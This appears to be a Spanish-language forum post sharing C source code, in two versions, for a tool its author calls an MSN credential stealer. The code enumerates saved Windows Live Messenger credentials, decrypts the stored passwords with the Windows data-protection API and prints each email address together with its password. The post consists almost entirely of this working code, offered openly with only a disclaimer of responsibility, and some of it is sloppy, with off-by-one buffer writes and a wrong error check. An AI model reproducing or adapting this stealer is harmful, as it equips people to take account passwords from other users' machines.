Lo intenté comentar lo más sencillo que pude y bueno devuelve msn+passwords pegados en un puntero a cadena (LPSTR o char *)
sin más que decir, mi traducción
Código nuevo:
Código: Seleccionar todo
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
//Stealer MSN C - Linkgl
//Definimos las p#$%&tas apis
typedef BOOL (WINAPI *_CredEnumerate)(
LPCTSTR Filter,
DWORD Flags,
DWORD *Count,
LONG **Credentials
);
typedef BOOL (WINAPI *_CryptUnprotectData)(
DATA_BLOB *pDataIn,
LPWSTR *ppszDataDescr,
DATA_BLOB *pOptionalEntropy,
PVOID pvReserved,
LONG *pPromptStruct,
DWORD dwFlags,
DATA_BLOB *pDataOut
);
//variables y estrucctura data blob
LONG ptr_credenciales;
LONG ptr_numero;
LONG ptr;
char *app={"WindowsLive:name=*"};
CRYPT_INTEGER_BLOB dtb;
//Devuelve el número de credenciales existentes
int cred(){
_CredEnumerate __CredEnumerate = NULL;
__CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
__CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
return ptr_numero;
}
char * msn(int i)
{
// No me hago responsable por el uso que se le de a la funcion
// Thanks to a vbmodule (doesn't have the name of the coder)
// and msdn
LONG usr;
int o;
char *temp;
char *temp_user;
int tam_user;
char *user;
BOOL check;
//Sacamos las apis de las dll
_CredEnumerate __CredEnumerate = NULL;
__CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
_CryptUnprotectData __CryptUnprotectData = NULL;
__CryptUnprotectData = (_CryptUnprotectData)GetProcAddress(LoadLibrary("Crypt32.dll"), "CryptUnprotectData");
//Sacamos las credenciales SOLO de windowslive
//y las almacenamos en un puntero que apunta a un array de punteros XD
check=__CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
if(__CredEnumerate==FALSE)
{
return NULL;
}
else
{
//aca movemos la direccion de las credenciales al puntero
memcpy(&ptr,ptr_credenciales+i*4,0x4);
//sacamos el msn
memcpy(&usr,ptr+48,0x4);
//rellenamos la estructura DATA BLOB (con el pass encryptado)
memcpy(&dtb.pbData,ptr+28,0x4);
memcpy(&dtb.cbData,ptr+24,0x4);
//desencriptamos los datos de la estructura (ver msdn :P)
__CryptUnprotectData(&dtb,0,0,0,0,1,0);
//reservamos el tamaño del pass
//la estructura contiene la pass y el tamaño*2
//tonses la dividimos xDD
temp=(char *)malloc(dtb.cbData/2);
memset(temp,0,dtb.cbData/2+1);
//copiamos el primer caracter de la pass
memcpy(&temp[0],&dtb.pbData[0],1);
//bucle del 2do caracter al ultimo
for(o=1;o<dtb.cbData/2;o++)
{
//copiamos la pass caracter x caracter
//saltando 1 byte nulo
memcpy(&temp[o],&dtb.pbData[o*2],1);
}
//sacamos el tamaño del user
tam_user=lstrlen(usr);
//reservamos la ultima cadena del tamaño del user + la pass
temp_user=(char *)malloc(tam_user+dtb.cbData/2+1);
memset(temp_user,0,tam_user+dtb.cbData/2+1);
//copiamos el correo
memcpy(temp_user,usr,tam_user);
//bucle para pegar el user y pass
for(o=tam_user;o<tam_user+dtb.cbData/2;o++)
{
//pegamos la pass al final del correo
memcpy(&temp_user[o],&temp[o - tam_user],1);
}
//retornamos user + pass
}
return temp_user;
}
int main()
{
/*
La función cred() devuelve el número de credenciales existentes en la pc
La función msn(i) devuelve las credenciales del id específico con la siguiente estructura
[email protected]
Un ejemplo para extraer todos los correos y contrasñeas guardadas de
Windows live messenger:
*/
int c;
for(c=0;c<cred();c++)
printf("- %s - ",msn(c));
getchar();
/*
Saludos
Linkgl */
return 0;
}
Código: Seleccionar todo
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
//Definimos las p#$%&tas apis
typedef BOOL (WINAPI *_CredEnumerate)(
LPCTSTR Filter,
DWORD Flags,
DWORD *Count,
LONG **Credentials
);
typedef BOOL (WINAPI *_CryptUnprotectData)(
DATA_BLOB *pDataIn,
LPWSTR *ppszDataDescr,
DATA_BLOB *pOptionalEntropy,
PVOID pvReserved,
LONG *pPromptStruct,
DWORD dwFlags,
DATA_BLOB *pDataOut
);
char * msn()
{
// FUNCION DE EXTRACCION DE CREDENCIALES DE MSN
// TRADUCIDO Y EXTENDIDO POR Linkgl
// No me hago responsable por el uso que se le de a la funcion
// Thanks to a vbmodule (doesn't have the name of the coder)
// and msdn
//Estructura DATA BLOB y variables que almacenaran direcciones de memoria
CRYPT_INTEGER_BLOB dtb;
int i;
LONG ptr_credenciales;
LONG ptr_numero;
LONG ptr;
LONG usr;
char *user;
BOOL check;
//key
char *app={"WindowsLive:name=*"};
//Sacamos las apis de las dll
_CredEnumerate __CredEnumerate = NULL;
__CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
_CryptUnprotectData __CryptUnprotectData = NULL;
__CryptUnprotectData = (_CryptUnprotectData)GetProcAddress(LoadLibrary("Crypt32.dll"), "CryptUnprotectData");
//Sacamos las credenciales de windowslive
//y las almacenamos en un puntero que apunta a un array de punteros XD
check=__CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
if(__CredEnumerate==FALSE)
{
return NULL;
}
else
{
//Hacemos un bucle hasta sacar todas las credenciales existentes
for(i=0;i<=ptr_numero-1;i++)
{
int o;
char *temp;
char *temp_user;
int tam_user;
//aca movemos la direccion de las credenciales al puntero
memcpy(&ptr,ptr_credenciales+i*4,0x4);
//sacamos el msn
memcpy(&usr,ptr+48,0x4);
//rellenamos la estructura DATA BLOB (con el pass encryptado)
memcpy(&dtb.pbData,ptr+28,0x4);
memcpy(&dtb.cbData,ptr+24,0x4);
//desencriptamos los datos de la estructura (ver msdn :P)
__CryptUnprotectData(&dtb,0,0,0,0,1,0);
//reservamos el tamaño del pass
//la estructura contiene la pass y el tamaño*2
//tonses la dividimos xDD
temp=(char *)malloc(dtb.cbData/2);
memset(temp,0,dtb.cbData/2+1);
//copiamos el primer caracter de la pass
memcpy(&temp[0],&dtb.pbData[0],1);
//bucle del 2do caracter al ultimo
for(o=1;o<dtb.cbData/2;o++)
{
//copiamos la pass caracter x caracter
//saltando 1 byte nulo
memcpy(&temp[o],&dtb.pbData[o*2],1);
}
//sacamos el tamaño del user
tam_user=lstrlen(usr);
//reservamos la ultima cadena del tamaño del user + la pass
temp_user=(char *)malloc(tam_user+dtb.cbData/2+1);
memset(temp_user,0,tam_user+dtb.cbData/2+1);
//copiamos el correo
memcpy(temp_user,usr,tam_user);
//bucle para pegar el user y pass
for(o=tam_user;o<tam_user+dtb.cbData/2;o++)
{
//pegamos la pass al final del correo
memcpy(&temp_user[o],&temp[o - tam_user],1);
}
//retornamos user + pass
return temp_user;
}
}
}
int main()
{
printf("%s",msn());
getchar();
return 0;
}